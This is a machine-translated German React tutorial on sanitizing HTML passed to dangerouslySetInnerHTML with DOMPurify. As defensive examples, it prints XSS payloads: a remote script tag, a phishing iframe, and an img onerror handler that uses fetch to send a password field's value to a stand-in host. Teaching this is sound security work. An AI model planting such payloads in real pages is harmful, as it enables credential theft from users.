Heim >Web-Frontend >js-Tutorial >Reduzieren Sie XSS-Exploits, wenn Sie „Dangerously SetInnerHTML' von React verwenden
Titelbild von Lautaro Andreani
...
TL: DR; Das blendende Dumping von Inhalten in das gefährliche SetInnerHTML ist genau das – gefährlich. Stellen Sie sicher, dass Sie alle Eingaben bereinigen, die Sie gefährlich an SetInnerHTML übergeben, es sei denn, Sie haben explizite Kontrolle über die Eingabe.
Die folgende Komponente dient als einfaches Beispiel für die Minderung des Risikos eines XSS-Angriffs über das gefährliche SetInnerHTML:
//https://github.com/cure53/DOMPurify import React from "react"; import DOMPurify from "dompurify"; const sanitize = (dirty) => DOMPurify.sanitize(dirty); const DangerousHtml = ({ innerHTML, tag }) => { const clean = sanitize(innerHTML); if (typeof tag === "undefined") { return <div dangerouslySetInnerHTML={{ __html: clean }} />; } return <tag dangerouslySetInnerHTML={{ __html: clean }} />; }; export default DangerousHtml;
Durch die Verwendung unserer maßgeschneiderten DangerousHtml-Komponente können wir das Risiko eines XSS-Exploits drastisch reduzieren, da wir unsere Eingaben bereinigen, bevor sie die eigentlich gefährliche SetInnerHTML-Requisite erreichen
DOMPurify ist außerdem hochgradig konfigurierbar. Daher kann es sein, dass Sie mehrere Komponenten wie unser Beispiel benötigen, um bestimmte Anwendungsfälle zu behandeln, oder einige der folgenden Beispiele explizit zulassen möchten.
Im Folgenden finden Sie einige kurze Beispiele dafür, wie die Exploits stattfinden könnten:
XSS ist möglich, da React das Skript-Tag, das auf eine bösartige Nutzlast hinweist, nicht entfernt.
Wir sollten iFrames auch wirklich nicht auf diese Weise weitergeben. Vielmehr sollten wir die URL und alle anderen „sicheren“ Attribute als Requisiten übergeben und sie selbst in einem iFrame-Tag rendern, um die Kontrolle über ihre Rendering-Fähigkeiten und die Quelle zu behalten, oder über eine dedizierte iFrame-Komponente verfügen.
Bedenken Sie zum Beispiel das folgende bösartige Markup, das wir von einer API-Anfrage erhalten haben. Wenn wir es blind über dangerouslySetInnerHTML festlegen, geben wir dem Benutzer diese Ausgabe:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: `<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p> </div>
Die Verwendung unserer DangerousHTML-Komponente bedeutet jedoch, dass wir den größten Teil des Risikos, dem der Benutzer möglicherweise ausgesetzt war, gemindert haben:
// Bad markup going in <DangerousHtml innerHTML={`<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p>Hi Fiona, here is the link to enter your bank details:</p> </div>
Fiona denkt vielleicht, dass die Website aus irgendeinem Grund kaputt ist oder dass Inhalte fehlen – aber das ist immer noch besser, als nach ihren Bankdaten ausgetrickst zu werden!
Einige DOM-Elemente haben spezielle Eigenschaften, die wir missbrauchen können und vor denen wir uns schützen sollten.
In diesem Beispiel können wir JS auf einem
Zum Beispiel Folgendes:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: ` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hola <img src="none.png" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p> </div>
In diesem Fall stiehlt unser vergiftetes Markup Daten aus dem DOM, wenn die Bildanforderung schließlich fehlschlägt und der Benutzer es nie erfahren wird.
Wir können dies mit unserer DangerousHtml-Komponente wieder abmildern
// Bad markup going in <DangerousHtml innerHTML={` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p> Hola <img src="none.png" /> Sharon </p> </div>
Angesichts des Arguments, dass wir möglicherweise wirklich etwas JS ausführen möchten, um ein Fallback-Bild anzuzeigen, sollten wir wiederum nicht darauf vertrauen, dass rohes, nicht bereinigtes HTML dies für uns erledigt, und wären besser bedient, wenn wir entweder eine fallbackImageURL oder eine onError-Requisite hätten kann explizit zu unserem Bild-Tag hinzufügen, etwa so:
// Usual imports const MyImageComponent = ({ fallbackUrl, url }) => { // Usual component setup const displayFallbackImage = (evt) => { // If there is no fallback, do nothing if (!fallbackUrl) return; // set the url to the fallbackUrl evt.target.src = fallbackUrl; }; return ( <img src={url} onerror={displayFallbackImage} // ... any other props /> ); };
...
Originalartikel: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
Das obige ist der detaillierte Inhalt vonReduzieren Sie XSS-Exploits, wenn Sie „Dangerously SetInnerHTML' von React verwenden. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!